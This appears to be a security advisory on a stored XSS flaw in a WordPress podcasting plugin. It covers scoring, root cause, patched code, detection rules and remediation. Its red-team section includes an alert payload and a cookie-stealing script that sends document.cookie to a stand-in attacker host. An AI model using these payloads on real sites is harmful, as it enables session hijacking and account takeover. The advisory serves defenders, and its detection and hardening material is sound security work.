CVE-2024-3751

Executive Summary

CVE-2024-3751 is a Stored Cross-Site Scripting (XSS) vulnerability in the Seriously Simple Podcasting WordPress plugin, affecting versions prior to 3.3.0. This flaw allows authenticated high-privilege users (e.g., administrators) to inject arbitrary web scripts into plugin settings, which are then stored and executed when other users view the affected pages. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disabled, as it bypasses standard input sanitization. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity. However, given the widespread use of WordPress, this vulnerability poses a moderate risk to affected sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Seriously Simple Podcasting plugin is distributed via the official WordPress Plugin Directory. Users should verify they are running version 3.3.0 or later, as earlier versions are unpatched. No supply chain compromise has been reported, but administrators should audit plugin integrity and ensure updates are applied from trusted sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: Required (UI:R) – victim must visit the compromised page
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires high privileges, but in multisite environments, a compromised admin account can lead to persistent XSS affecting all users.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, where user-supplied input is not properly sanitized or escaped before being stored and rendered. Specifically, the plugin fails to apply esc_html() or similar escaping functions to certain configuration fields, allowing an attacker with admin privileges to inject malicious JavaScript. When other administrators or users with access to the settings page view the injected content, the script executes in their browser context.

Root Cause: The plugin uses update_option() to store settings without sanitization, and later outputs these values directly via echo or print without escaping. In WordPress, the unfiltered_html capability (typically granted to super admins in multisite) is required to post unfiltered HTML. However, this vulnerability bypasses that restriction by storing the payload in plugin settings rather than post content.

Attack Flow:

1. Attacker gains admin access to a WordPress site (e.g., via credential theft or social engineering).
2. Attacker navigates to the Seriously Simple Podcasting settings page.
3. Attacker injects a malicious script into an unsanitized field (e.g., podcast title, description, or custom CSS).
4. The payload is stored in the database.
5. When another admin or user visits the settings page, the script executes, potentially stealing session cookies, redirecting users, or defacing the site.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.3.0):

// In settings page output
echo '<input type="text" name="ss_podcasting_title" value="' . get_option('ss_podcasting_title') . '" />';

The value is output directly without escaping.

Patched Code (3.3.0+):

// In settings page output
echo '<input type="text" name="ss_podcasting_title" value="' . esc_attr(get_option('ss_podcasting_title')) . '" />';

The esc_attr() function escapes the value, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials on a WordPress site running Seriously Simple Podcasting < 3.3.0.
• Access to the plugin settings page (typically /wp-admin/options-general.php?page=seriously-simple-podcasting).

Exploitation Steps:

1. Log in as an admin.
2. Navigate to the plugin settings.
3. In a vulnerable field (e.g., "Podcast Title"), inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the settings.
5. Trigger the XSS by visiting the settings page again or having another admin visit it.

Advanced Payload (Session Stealing):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to plugin settings in the wp_options table.
• Look for ss_podcasting_* options containing <script> tags or event handlers.
• Use the detection rules below.

Hardening:

• Immediately update to version 3.3.0 or later.
• Restrict admin access to trusted users only.
• Implement Web Application Firewall (WAF) rules to block XSS payloads in plugin settings.
• Enable Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/seriously-simple-podcasting/ (check version in readme.txt)
• Database: wp_options table entries with ss_podcasting_ prefix containing <script> tags.
• Network: Outbound requests to attacker-controlled domains from admin pages.
• Logs: WordPress debug logs showing unexpected script execution errors.

Detection Engineering

YARA Rule

rule Detect_Seriously_Simple_Podcasting_XSS {
    meta:
        description = "Detects XSS payloads in Seriously Simple Podcasting plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3751"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_option = /ss_podcasting_/
    condition:
        $plugin_option and $xss_payload
}

Sigma Rule

title: Stored XSS in Seriously Simple Podcasting Settings
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in Seriously Simple Podcasting plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name|startswith: 'ss_podcasting_'
        option_value|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3751 - Stored XSS in Seriously Simple Podcasting"; flow:to_server,established; content:"ss_podcasting_"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade to version 3.3.0 or later from the WordPress Plugin Directory.
2. Audit Settings: Review all ss_podcasting_* options in the database for malicious content.
3. Rotate Credentials: Change all admin passwords if compromise is suspected.

Long-Term Mitigations:

• Implement principle of least privilege for WordPress admin roles.
• Enable automatic plugin updates.
• Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.
• Regularly audit plugin code for similar vulnerabilities.

Workaround (if update is not possible):

• Disable the plugin until a patch can be applied.
• Use a WAF to block <script> tags in plugin settings POST requests.

Valters IT
DevSecOps & Cyber Threat Intelligence